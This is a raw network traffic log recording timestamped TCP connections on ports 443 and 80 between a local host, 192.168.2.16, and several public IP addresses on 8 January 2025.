Jan 8, 2025 15:44:50.877080917 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.877120972 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.877187014 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.877202988 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.877242088 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:50.877274990 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.877305984 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.877574921 CET	49826	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:50.877590895 CET	443	49826	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:51.786225080 CET	49678	443	192.168.2.16	20.189.173.10
Jan 8, 2025 15:44:55.483930111 CET	80	49704	67.198.205.87	192.168.2.16
Jan 8, 2025 15:44:55.484000921 CET	49704	80	192.168.2.16	67.198.205.87
Jan 8, 2025 15:44:55.505516052 CET	80	49703	67.198.205.87	192.168.2.16
Jan 8, 2025 15:44:55.505616903 CET	49703	80	192.168.2.16	67.198.205.87
Jan 8, 2025 15:44:55.917349100 CET	49704	80	192.168.2.16	67.198.205.87
Jan 8, 2025 15:44:55.917381048 CET	49703	80	192.168.2.16	67.198.205.87
Jan 8, 2025 15:44:55.922220945 CET	80	49704	67.198.205.87	192.168.2.16
Jan 8, 2025 15:44:55.922243118 CET	80	49703	67.198.205.87	192.168.2.16
Jan 8, 2025 15:44:56.235281944 CET	49680	80	192.168.2.16	192.229.211.108
Jan 8, 2025 15:45:26.442636013 CET	49829	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.442683935 CET	443	49829	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.442759991 CET	49829	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.443310976 CET	49830	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.443391085 CET	443	49830	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.443465948 CET	49830	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.444363117 CET	49829	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.444380045 CET	443	49829	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.444988966 CET	49830	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.445010900 CET	443	49830	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.506983042 CET	49831	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:45:26.507020950 CET	443	49831	142.250.185.196	192.168.2.16
Jan 8, 2025 15:45:26.507091999 CET	49831	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:45:26.507338047 CET	49831	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:45:26.507352114 CET	443	49831	142.250.185.196	192.168.2.16
Jan 8, 2025 15:45:26.906861067 CET	443	49829	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.907320976 CET	49829	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.907341003 CET	443	49829	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.908452034 CET	443	49829	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.908576965 CET	49829	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.909046888 CET	49829	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.909140110 CET	443	49829	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.909145117 CET	49829	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.909145117 CET	49829	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.909208059 CET	49829	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.909667015 CET	49832	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.909703970 CET	443	49832	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.910092115 CET	49832	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.910092115 CET	49832	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.910135984 CET	443	49832	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.921471119 CET	443	49830	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.921796083 CET	49830	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.921847105 CET	443	49830	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.922926903 CET	443	49830	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.922998905 CET	49830	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.923321009 CET	49830	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.923332930 CET	49830	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.923377991 CET	49830	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.923401117 CET	443	49830	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.923448086 CET	49830	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.923741102 CET	49833	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.923798084 CET	443	49833	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:26.923887014 CET	49833	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.924117088 CET	49833	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:26.924128056 CET	443	49833	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:27.136065006 CET	443	49831	142.250.185.196	192.168.2.16
Jan 8, 2025 15:45:27.136532068 CET	49831	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:45:27.136547089 CET	443	49831	142.250.185.196	192.168.2.16
Jan 8, 2025 15:45:27.136940956 CET	443	49831	142.250.185.196	192.168.2.16
Jan 8, 2025 15:45:27.137300968 CET	49831	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:45:27.137372971 CET	443	49831	142.250.185.196	192.168.2.16
Jan 8, 2025 15:45:27.190422058 CET	49831	443	192.168.2.16	142.250.185.196
Jan 8, 2025 15:45:27.382369041 CET	443	49833	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:27.382844925 CET	49833	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:27.382879972 CET	443	49833	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:27.383929014 CET	443	49833	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:27.384008884 CET	49833	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:27.384383917 CET	49833	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:27.384459019 CET	443	49833	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:27.384598017 CET	49833	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:27.384610891 CET	443	49833	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:27.389689922 CET	443	49832	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:27.389971972 CET	49832	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:27.389982939 CET	443	49832	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:27.391156912 CET	443	49832	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:27.391303062 CET	49832	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:27.391520023 CET	49832	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:27.391609907 CET	443	49832	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:27.430347919 CET	49833	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:27.445353031 CET	49832	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:27.445377111 CET	443	49832	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:27.493364096 CET	49832	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.215981960 CET	443	49833	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:28.216116905 CET	443	49833	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:28.216192007 CET	49833	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.216933012 CET	49833	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.216960907 CET	443	49833	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:28.244131088 CET	49834	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.244184017 CET	443	49834	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:28.244298935 CET	49834	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.244813919 CET	49834	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.244823933 CET	443	49834	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:28.695137978 CET	443	49834	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:28.695548058 CET	49834	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.695569992 CET	443	49834	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:28.696966887 CET	443	49834	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:28.697042942 CET	49834	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.697417974 CET	49834	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.697432995 CET	49834	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.697432995 CET	49834	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.697494984 CET	443	49834	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:28.697603941 CET	49834	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.697818041 CET	49835	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.697882891 CET	443	49835	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:28.697964907 CET	49835	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.698175907 CET	49835	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:28.698189020 CET	443	49835	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:29.187385082 CET	443	49835	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:29.187690020 CET	49835	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:29.187736034 CET	443	49835	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:29.188772917 CET	443	49835	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:29.188857079 CET	49835	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:29.189867020 CET	49835	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:29.189970970 CET	443	49835	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:29.190049887 CET	49835	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:29.190066099 CET	443	49835	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:29.244379044 CET	49835	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:29.978508949 CET	443	49835	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:29.978657007 CET	443	49835	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:29.978722095 CET	49835	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:29.979331970 CET	49835	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:29.979351044 CET	443	49835	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:30.146702051 CET	49836	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:30.146755934 CET	443	49836	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:30.146847963 CET	49836	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:30.147167921 CET	49836	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:30.147180080 CET	443	49836	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:30.620124102 CET	443	49836	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:30.620466948 CET	49836	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:30.620491028 CET	443	49836	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:30.621479034 CET	443	49836	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:30.621543884 CET	49836	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:30.621877909 CET	49836	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:30.621920109 CET	49836	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:30.621932983 CET	443	49836	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:30.622021914 CET	49836	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:30.622030973 CET	443	49836	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:30.622050047 CET	49836	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:30.622085094 CET	49836	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:30.622438908 CET	49837	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:30.622503996 CET	443	49837	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:30.622584105 CET	49837	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:30.622808933 CET	49837	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:30.622823954 CET	443	49837	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:30.883960962 CET	49838	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:30.884004116 CET	443	49838	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:30.884109020 CET	49838	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:30.884463072 CET	49838	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:30.884478092 CET	443	49838	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:30.885797024 CET	49832	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:30.931333065 CET	443	49832	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.101412058 CET	443	49837	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:31.101721048 CET	49837	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:31.101753950 CET	443	49837	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:31.102658987 CET	443	49837	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:31.102729082 CET	49837	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:31.103946924 CET	49837	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:31.104010105 CET	443	49837	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:31.147083044 CET	49837	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:31.147103071 CET	443	49837	188.114.96.3	192.168.2.16
Jan 8, 2025 15:45:31.194298983 CET	49837	443	192.168.2.16	188.114.96.3
Jan 8, 2025 15:45:31.340363026 CET	443	49838	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.356982946 CET	49838	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:31.357016087 CET	443	49838	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.359013081 CET	443	49838	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.359091997 CET	49838	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:31.359642982 CET	49838	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:31.359684944 CET	49838	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:31.359728098 CET	443	49838	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.360234976 CET	49838	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:31.360234976 CET	49838	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:31.360246897 CET	443	49838	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.360292912 CET	49838	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:31.360678911 CET	49839	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:31.360729933 CET	443	49839	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.360793114 CET	49839	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:31.361087084 CET	49839	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:31.361104012 CET	443	49839	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.679774046 CET	443	49832	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.679908991 CET	443	49832	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.679980993 CET	49832	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:31.681154013 CET	49832	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:31.681168079 CET	443	49832	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.701010942 CET	49840	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:31.701042891 CET	443	49840	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:31.701143026 CET	49840	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:31.701483011 CET	49840	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:31.701493979 CET	443	49840	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:31.839857101 CET	443	49839	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.840197086 CET	49839	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:31.840229034 CET	443	49839	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.840585947 CET	443	49839	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.840898037 CET	49839	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:31.841001034 CET	443	49839	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:31.895337105 CET	49839	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:32.166335106 CET	443	49840	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:32.167238951 CET	49840	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:32.167259932 CET	443	49840	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:32.168402910 CET	443	49840	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:32.168478012 CET	49840	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:32.168836117 CET	49840	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:32.168852091 CET	49840	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:32.168905973 CET	49840	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:32.168906927 CET	443	49840	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:32.168965101 CET	49840	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:32.169356108 CET	49841	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:32.169400930 CET	443	49841	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:32.169470072 CET	49841	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:32.169722080 CET	49841	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:32.169730902 CET	443	49841	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:32.634771109 CET	443	49841	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:32.635149956 CET	49841	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:32.635169983 CET	443	49841	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:32.636260033 CET	443	49841	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:32.636333942 CET	49841	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:32.637300968 CET	49841	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:32.637389898 CET	443	49841	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:32.637478113 CET	49841	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:32.637485027 CET	443	49841	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:32.691447973 CET	49841	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:33.433301926 CET	443	49841	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:33.433461905 CET	443	49841	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:33.433520079 CET	49841	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:33.434056044 CET	49841	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:33.434072971 CET	443	49841	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:33.500770092 CET	49842	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:33.500818968 CET	443	49842	172.67.185.221	192.168.2.16
Jan 8, 2025 15:45:33.500910044 CET	49842	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:33.501205921 CET	49842	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:33.501216888 CET	443	49842	172.67.185.221	192.168.2.16
Jan 8, 2025 15:45:33.982145071 CET	443	49842	172.67.185.221	192.168.2.16
Jan 8, 2025 15:45:33.982733965 CET	49842	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:33.982749939 CET	443	49842	172.67.185.221	192.168.2.16
Jan 8, 2025 15:45:33.983835936 CET	443	49842	172.67.185.221	192.168.2.16
Jan 8, 2025 15:45:33.983907938 CET	49842	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:33.987320900 CET	49842	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:33.987365961 CET	49842	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:33.987412930 CET	443	49842	172.67.185.221	192.168.2.16
Jan 8, 2025 15:45:33.987422943 CET	49842	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:33.987493038 CET	49842	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:33.990746975 CET	49843	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:33.990793943 CET	443	49843	172.67.185.221	192.168.2.16
Jan 8, 2025 15:45:33.990875006 CET	49843	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:33.993613958 CET	49843	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:33.993627071 CET	443	49843	172.67.185.221	192.168.2.16
Jan 8, 2025 15:45:34.454315901 CET	443	49843	172.67.185.221	192.168.2.16
Jan 8, 2025 15:45:34.454638958 CET	49843	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:34.454658031 CET	443	49843	172.67.185.221	192.168.2.16
Jan 8, 2025 15:45:34.455725908 CET	443	49843	172.67.185.221	192.168.2.16
Jan 8, 2025 15:45:34.455799103 CET	49843	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:34.457029104 CET	49843	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:34.457125902 CET	443	49843	172.67.185.221	192.168.2.16
Jan 8, 2025 15:45:34.457226038 CET	49843	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:34.457233906 CET	443	49843	172.67.185.221	192.168.2.16
Jan 8, 2025 15:45:34.471625090 CET	49843	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:34.471729040 CET	443	49843	172.67.185.221	192.168.2.16
Jan 8, 2025 15:45:34.471795082 CET	49843	443	192.168.2.16	172.67.185.221
Jan 8, 2025 15:45:34.475162029 CET	49844	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:34.475195885 CET	443	49844	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:34.475272894 CET	49844	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:34.475677967 CET	49844	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:34.475689888 CET	443	49844	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:34.478141069 CET	49839	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:34.519335985 CET	443	49839	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:34.943142891 CET	443	49844	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:34.943445921 CET	49844	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:34.943473101 CET	443	49844	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:34.944499969 CET	443	49844	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:34.944581032 CET	49844	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:34.944854975 CET	49844	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:34.944864035 CET	49844	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:34.944920063 CET	49844	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:34.944922924 CET	443	49844	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:34.944978952 CET	49844	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:34.945262909 CET	49845	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:34.945301056 CET	443	49845	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:34.945430994 CET	49845	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:34.945591927 CET	49845	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:34.945601940 CET	443	49845	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:35.280524015 CET	443	49839	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:35.280677080 CET	443	49839	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:35.280734062 CET	49839	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:35.284665108 CET	49839	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:35.284682989 CET	443	49839	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:35.287456989 CET	49846	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:35.287520885 CET	443	49846	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:35.287623882 CET	49846	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:35.287931919 CET	49846	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:35.287946939 CET	443	49846	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:35.412513971 CET	443	49845	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:35.413939953 CET	49845	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:35.413957119 CET	443	49845	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:35.415002108 CET	443	49845	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:35.415072918 CET	49845	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:35.415733099 CET	49845	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:35.415797949 CET	443	49845	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:35.463403940 CET	49845	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:35.463432074 CET	443	49845	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:35.511329889 CET	49845	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:35.741831064 CET	443	49846	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:35.742196083 CET	49846	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:35.742219925 CET	443	49846	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:35.743551970 CET	443	49846	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:35.743633032 CET	49846	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:35.743910074 CET	49846	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:35.743921995 CET	49846	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:35.743974924 CET	49846	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:35.743982077 CET	443	49846	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:35.744046926 CET	49846	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:35.744319916 CET	49847	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:35.744357109 CET	443	49847	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:35.744553089 CET	49847	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:35.744633913 CET	49847	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:35.744643927 CET	443	49847	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:36.219476938 CET	443	49847	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:36.219827890 CET	49847	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:36.219850063 CET	443	49847	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:36.220170975 CET	443	49847	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:36.220503092 CET	49847	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:36.220582008 CET	443	49847	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:36.220613956 CET	49847	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:36.260365963 CET	49847	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:36.260375977 CET	443	49847	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:36.512551069 CET	49847	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:36.512655973 CET	443	49847	172.67.174.48	192.168.2.16
Jan 8, 2025 15:45:36.512795925 CET	49847	443	192.168.2.16	172.67.174.48
Jan 8, 2025 15:45:36.516499996 CET	49848	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:36.516541004 CET	443	49848	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:36.516627073 CET	49848	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:36.516957998 CET	49848	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:36.516971111 CET	443	49848	188.114.97.3	192.168.2.16
